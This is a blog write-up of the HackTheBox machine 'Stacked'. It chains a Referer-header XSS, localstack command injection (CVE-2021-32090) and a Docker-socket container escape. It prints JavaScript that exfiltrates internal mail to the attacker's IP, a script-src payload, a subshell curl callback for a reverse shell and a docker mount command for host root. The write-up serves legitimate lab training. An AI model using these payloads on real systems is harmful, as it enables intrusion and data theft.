Stacked

Vinicius Scallop
stolabs
Published in
15 min readJul 29, 2022

Stacked is an insane hackthebox machine, the foothold involves two CVEs present in version 0.12.6 of localstack, first a XSS used to infect the users browser and find the s3 endpoint, where it is possible to create and use lambda functions to exploit the command injection vulnerability in the dashboard using functionName parameter and then get RCE in the localstack container, for privilege escalation in the container i used pspy to check the processes and noticed that the lambda functions are being executed by root and was also vulnerable to command injection in the runtime and handler parameters, with root in the container i will be able to use docker socket to mount images on /mnt.

Enumeration

Nmap

I always start by doing nmap against the host, for the first recon step i will run a full port scan to discover which ports and services are open.

Reading the results, we see that the host is running SSH on port 22 and its an Ubuntu Server, there’s also 2 ports open which is running Apache HTTP on port 80 and “ssl/docker?” (not sure what kind of service is running) on port 2376. We have a few informations like the http-title that points to: stacked.htb. Since its an domain name, i’m gonna add this to my host file and check it out in my browser right after that.

Website — stacked.htb

The 10.10.11.112 ip address redirects me to stacked.htb application

Enumerating the Website, there’s only a form with “Notify me when it’s ready” input, but it redirects us to index.html with no content or parameters.

Trying to put /index.php to see if the application is running with php we receive an “Not Found” response. With this in mind, i will do a fuzzing in the application to see what kind of files or directories wee see there.

Fuzzing — stacked.htb

I usually run ffuf or feroxbuster for applications, both are awesome for different purposes. if you want a content discovery tool you should use feroxbuster, ffuf is a nice choice for fuzzing parameters, subdomains, vhost etc. for saving time i’m more familiar running ffuf because i can run different wordlists in a short period of time.

ffuf -w /opt/seclists/discovery/web-content/raft-large-words.txt -u <http://stacked.htb/FUZZ> -t 200 -e .html -mc all -fw 23,20

Because we only find html running until now, i will run ffuf with .html extension, this will add the extension after all words in the wordlist looking for specifically html files.

it only finds index.html, i also ran the raft-large-files.txt and raft-large-directories.txt wordlists, but it brought me nothing, so i will try now a vhost fuzzing to find virtual hosts against the stacked.htb.

ffuf -w /opt/seclists/discovery/DNS/subdomains-top1million-5000.txt -u <http://stacked.htb/> -H "Host: FUZZ.stacked.htb" -t 200 -fw 18

returned me portfolio, so i will add this in my hosts file and check it in the browser.

Portfolio

The portfolio application seems to be a localstack development, a framework for developing cloud applications, as they mention in their github repository.

Going down a little bit, there is a section called “about”, with a brief description about the application. For example, localstack containers are being used to simulate some AWS features and services.

Right after that he gave us a docker-compose.yml file by clicking in the “Free Download!” button, the button redirect us /files/docker-compose.yml so i will use wget to download this file to my local machine and see the content.

wget <http://portfolio.stacked.htb/files/docker-compose.yml>

with docker-compose.yml we get the localstack version: 0.12.6, a bunch of ports (443, 4566, 4571 and 8080) with different services, and the “SERVICES=serverless” which is a keyword defined on the github repository to run services often used for serverless apps like iam, lambda, dynamodb, apigateway, s3, sns etc.

Having this information, the first thing i’m gonna do is search for vulnerabilities present in this version of localstack.

CVE-2021–32090 | CVE-2021–32091

In vulmon, command injection and cross-site scripting (XSS) vulnerabilities were found for this version of localstack. In the vulnerability summary we have the information that in the Dashboard it is possible to inject arbitrary commands by the functionName parameter.

This is definitely interesting, but we have no way to access the dashboard, since there is no port or virtual host that is running this feature externally. So i’m gonna skip this part and move on to the CVE-2021–32091 which has Cross-site scripting vulnerability.

Identify Localstack VHost

CVE-2021–32091

The XSS vulnerability Summary doesn’t give us much information. However, there is something we have not yet tested in the application, just below the button, there is a contact form. So i will put some XSS payloads on the inputs to see if there’s any user interaction, except for the email and phone inputs, since they have character restrictions.

Now i will set up a python web server to see if any kind of response will arrive, the expectation is that someone will click on the image, redirecting to our web server. I will also start BurpSuite and send this request to the repeater tab, allowing us to use the phone and email fields since we will not have Javascript blocking anymore, plus the repeater will allow us to send the tests multiple times.

I waited a while for some response on my python server, but i didn’t receive any response back. I also tried using Burp to send the payloads on inputs that were client-side constrained, but got no response again.

Thinking about where i could trigger the vulnerability, there are cases that it might be useful to test the XSS in the request headers. So i will add the payload in the User-Agent and Referer. Plus the reason for using different urls for each input is to know exactly which parameter or header is injectable.

Just after a few minutes i received a GET request in my python server for the referer file, from this i concluded that the header referer is vulnerable to the Cross-site scripting vulnerability.

What i will do now is use netcat as a listener instead of python to receive the request headers.

In this request something interesting came up, the referer header points to the address http://mail.stacked.htb/read-mail.php?id=2 which is where it was launched from, this is definitely interesting, since it points to the mail.stacked.htb, a virtual host that until then we didn’t have, i will add this to my hosts file, but it will probably only be locally accessible, since it is a relatively simple virtual host and was not found during fuzzing.

As i said, i tried to access the mail vhost, but it can only be accessed locally. Since the request comes from mail endpoint, i will write a simple javascript code named pwn.js to send me the HTML of the page.

var req = new XMLHttpRequest();
req.open("POST", "<http://10.10.14.21:8000/>", false);
req.send(document.documentElement.outerHTML);

The goal here is that when the request arrives at my python server, it will execute my pwn.js script and send the HTML of the page to my netcat on port 8000, i have to use netcat to listen on the request coming from the mail endpoint because python server does not handle POST requests. The script above uses the XMLHttpRequest API to send a POST request to my python server and sending the HTML with the Element.outerHTML property.

For loading the pwn.js i will use the following payload

<script src="<http://10.10.14.21/pwn.js>"></script>

Now the request should look like this

After sending and waiting a few minutes, the request arrived on my python server.

Right after that came the request on my netcat, i redirected the output to mail.html, so i can handle and analyze the code much better

Since it is an html, i will open it with firefox and see what we have

firefox mail.htb

There’s a few links that redirects to dashboard.php and compose.php. We can get the html from the endpoint http://mail.stacked.htb/read-mail.php?id=2 but it seems more interesting to me trying to read other users content, for this i will need to create two requests in my script, the first request will send a GET request to the endpoint i want, and the second will bring back the content of this request to my netcat, so i will be able to read it.

var target = "<http://mail.stacked.htb/read-mail.php?id=1>";
var server = "<http://10.10.14.21:8000/>";

var req1 = new XMLHttpRequest();
req1.open('GET', target, false);
req1.send();
var response = req1.responseText;

var req2 = new XMLHttpRequest();
req2.open('POST', server, false);
req2.send(response)

Basically i just added another block of the same code, but now doing a GET to the address of the endpoint that i want to read, when the request is made to my netcat, it will send the content of the first GET request, in short it saves the response of the first request in a variable and sends it as POST content to my netcat server.

After repeating the process, i can now read the email sent by jtaint@stacked.htb

Hey Adam, I have up S3 instance on s3-testing.stacked.htb so that you can cofigure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances. If you need anything let me know. Thanks.

In the message field, it sends a message to Adam that it has started an instance at s3-testing.stacked.htb to configure IAM users, roles and permissions. It also says that it has started a serverless instance, but you can only run node instances.

The first thing i’m going to do is add this new vhost to my hosts file and try to access in the browser.

It seems to be just a default json message that indicates that the service is runing.

Install and configure awscli

Since this is an application that simulates AWS environments, i will install and configure the AWS cli. After installing awscli, you need to configure some settings to be able to interact with AWS, if you want to learn more i recommend reading this guide available in aws’s own documentation: https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html

The data in the access key id, secret access key and output format in this case are not relevant, since we don’t want to interact with a specific bucket or something like that, it is only relevant that these values are set, so we can create with any value even if it is invalid.

As we saw in docker-compose.yml, ****with the “SERVICES=serverless” keyword being used, lambda is a great feature to use. To explain briefly, lambda is a serverless technology, you can create a script or a function in the lambda-compatible languages and lambda will say: “ooh let me run this piece!!”, is a good way to modulize running code.

In the following link, AWS documentation is generous and gives a good explanation and tutorial on how to create lambda functions:

CVE-2021–32090

If you remember, we had a CVE with a command injection vulnerability in localstack, abusing the functionName parameter, i will use the example code and just change it for my use.

Before running create-function, we need to create the file which will have our code and function that will be executed, as it is not necessary to create valid code because we only want to exploit the command injection vulnerability in functionName, i will just create an empty file and execute create-function.

touch haha.txt; zip -r haha.zip haha.txt

In the above command i created the file haha.txt and then packed it using zip, so now we will be able to run create-function command

To create the function we have to use some parameters, the endpoint, the functionName which is where i will pass the command injection executing a curl to my python server, the runtime environment for the lambda function, the — zip-file with the path to the zip file of the code you are uploading. In the remaining parameters i will put a random value, since it doesn’t matter.

We also saw in docker-compose.yml that the web UI port is 8080, so we need to make the user access the dashboard to run our function, for this i will use our cross-site scripting.

After a while, the request arrived on my python server, so we have RCE!!!

So now i will use a simple bash reverse shell payload to get a shell.

Sending the request again in Burp and opening a netcat on port 9001, we get a reverse shell.

Privilege escalation

Full TTY

The first thing i will do is upgrade my shell to full tty, so i can clear the screen, have auto complete and much more.

Looking at / i noticed that we’re in a docker container because the .dockerenv file. The .dockerenv is the file where the environment variables defined inside the container are stored. I also tried to enumerate the main directories and i didn’t find something that seems relevant.

Looking at the processes

At some point in the enumeration, it becomes quite useful to check the processes that are running on the machine, and continuing on the command injection CVE, it is important to check what kind of calls the program makes in the application, looking at the processes is a good method of doing this without necessarily having to reverse engineer the binary. For looking the processes i will use pspy, is an excellent tool for monitoring user commands, cron jobs, etc. I will download the binary to my machine and transfer it to the container using a python server.

After running pspy to see what processes are running, there’s nothing interest yet, but running the previous command create-function to create a lambda function, returned an command being executed by uid 0 (root).

Now i will invoke the function that we created using the invoke command. Remember that the function expires in a few minutes, so you will need to create it again before invoking using the create-function command.

Returning to pspy after invoking the function, we see that there are a few commands being executed by /bin/sh with the root uid, the commands are docker create, docker cp and docker start.

Command Injection Privilege Escalation

In the docker create command it sets the — rm flag which will tell the docker daemon to clean up the container and remove the file system after the container exits, and right after that it passes nodejs10.x which is out runtime command and haha.handler being the handler command, this leads me to believe that our input is being used and so it is possible to inject commands just like we did in functionName, but now being executed by the root user in the localstack container.

I sent a simple curl to my python server to confirm that the vulnerability exists in each input, so now we have to invoke the function.

And the response arrived on my python server!

Now we can use a subshell to get a reverse shell using the following payload:

$(curl <http://10.10.14.21/`reverseshellpayload`>)

Remember to invoke obviously, and we get a shell back!

Docker Escaping

We are now root in localstack, but it is not finished yet, now we need to escape from the container. In some previous commands we saw that the container was spawning dockers, so we can use the docker binary in the machine to enumerate and possibly escape from the container. With root permissions the docker binary becomes quite interesting for us at this point.

Docker Enumeration

With the docker ps command we can see some details like the container id and image.

What i will do now is list the images and try to use the docker binary to mount the images on /mnt

Mounting and accessing

We can use the following command to mount the image

docker run -v /:/mnt --rm -it [image] root /mnt sh

The -v flag will specify the volume, so we want to mount the / from the image id to the /mnt in our container, in the -it we need to specify the image id, so i will test the images that we have until i see if any will work.

Testing some images, i didn’t have much success until i tested the 0601ea177088 image, after running the command, the environment will start and it seems that we will have to get another shell, since the current one is serving and if we press CTRL+C we will probably kill the instance. So i will repeat the process to get the root shell on localstack, run docker exec on the instance and check if the image is mounted on /mnt.

I receive the shell, now i will repeat the full tty process seen earlier and run docker ps command to see the image id of the instance we booted.

The instance was booted a few minutes ago, so we know that the image we want is the first one, now i start it using the following docker exec command

docker exec -it [image] sh

And there is!! if you want to have access to the image directly, you can enter your public key in /mnt/root/.ssh/authorized_keys and login via ssh.

--

--

Vinicius Scallop
stolabs
Writer for

I'm not that special. I’m just anonymous. I’m just alone